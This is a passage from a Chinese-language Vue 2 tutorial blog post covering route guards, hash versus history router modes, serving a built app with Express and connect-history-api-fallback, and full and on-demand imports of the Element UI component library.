  //通过路由规则,进入该组件时,被调用
  beforeRouteEnter(to, from, next) {
    console.log('About--beforRouterEnter',to,from)
    if(to.meta.isAuth) {  //判断是否需要鉴权
      if(localStorage.getItem('school') === 'xixi') {
        next()
      }else{
        alert('学校名称不对!!无权限查看!')
      }
    }else{
      next()
    }

  },

   //通过路由规则,离开该组件时,被调用
  beforeRouteLeave(to, from, next) {
    console.log('About--beforRouterLeave',to,from)
    next()
  }
}

</script>

14、路由器的两种工作模式

(1)对于一个url来说,什么是hash值? ——#及其后面的内容就是hash的值

 (2)hash值不会包含在HTTP请求中,即:hash值不会带给服务器

(3)hash模式:

        ① 地址中永远带着#号,不美观。

        ②  若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。

        ③ 兼容性较好

(4)history模式:

        ① 地址干净、美观

        ② 兼容性和hash模式相比略差

        ③ 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题

拓展:

npm run build  ==>  生成文件夹dist(dist文件夹里都是生成的结果)

文件夹dist里的的index.html文件不能直接打开,需要部署服务器。

① 新建文件夹demo,用vscode打开

② 终端执行npm init初始化操作(包名设置为xixi_test_server)

③ 终端输入npm i express

④ 新建server.js文件

const express = require('express')

//在nodejs中解决history 404 问题
//在终端中输入npm i connect-history-api-fallback
//并引入: 
const history = require('connect-history-api-fallback')

const app = express()

//在静态资源之前使用
app.use(history())

app.use(express.static(__dirname+'/static'))

app.get('/person',(request,response)=> {
    response.send({
        name:'tom',
        age:'18'
    })
})

app.listen(5005,(err)=> {
    if(!err) console.log('服务器启动成功!!!')
})


⑤ 新建文件夹static,将脚手架里生成的dist文件内容放入进去

⑥ 终端输入node server ,服务器启动成功

⑦ 在浏览器输入:localhost:5005,请求数据

九、Vue UI组件库

1、常用UI组件库

1.1 移动端常用UI组件库

(1)Vant            https://youzan.github.io/vant

(2)Cube UI     https://didi.github.io/cube-ui

(3)Mint UI        http://mint-ui-github.io

1.2 PC端常用UI组件库

(1)Element UI      https://element.eleme.cn

(2)IView UI          https://www.iviewui.com

2、element-ui基本使用

(1)安装element-ui :npm i element-ui-S

(2)src/main.js:

import Vue from 'vue'
import App from './App.vue'

//引入ElementUI组件库
import ElementUI from 'element-ui'

//引入ElementUI全部样式
import 'element-ui/lib/theme-chalk/index.css'

Vue.config.productionTip = false
//应用ElementUI
Vue.use(ElementUI)


new Vue({
    el:"#app",
    render: h => h(App),

})

 (3)src/App.vue:

<template>
  <div>
    <button>原生的按钮</button>
    <input type="text">
    <el-row class="mb-4">
    <el-button>默认按钮</el-button>
    <el-button type="primary">主要按钮</el-button>
    <el-button type="success">成功按钮</el-button>
    <el-button type="info">信息按钮</el-button>
    <el-button type="warning">警告按钮</el-button>
    <el-button type="danger">危险按钮</el-button>
  </el-row>
  <el-date-picker
        v-model="value1"
        type="date"
        placeholder="选择日期"
        :size="size"
      />
  </div>
</template>

<script>

export default {
  name: 'App'
}

</script>

效果:

 

3、element-ui按需引入

(1)安装babel-plugin-component:npm install babel-plugin-component -D

(2)修改babel-config-js:

module.exports = {
  presets: [
    '@vue/cli-plugin-babel/preset',
    ["@babel/preset-env", { "modules": false }]
  ],
  plugins: [
    [
      "component",
      {
        "libraryName": "element-ui",
        "styleLibraryName": "theme-chalk"
      }
    ]
  ]
}

(3)src/main.js

import Vue from 'vue'
import App from './App.vue'

//完整引入
// import ElementUI from 'element-ui'
//引入ElementUI全部样式
// import 'element-ui/lib/theme-chalk/index.css'

//按需引入
import {Button,Row,DatePicker} from 'element-ui'

Vue.config.productionTip = false

//应用ElementUI
// Vue.use(ElementUI)
Vue.component(Button.name,Button);   //Button.name上的属性是el-button
Vue.component(Row.name,Row);      //Row.name上的属性是el-row
Vue.component(DatePicker.name,DatePicker);   //DatePicker.name的属性是el-date-picker


new Vue({
    el:"#app",
    render: h => h(App),

})
  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值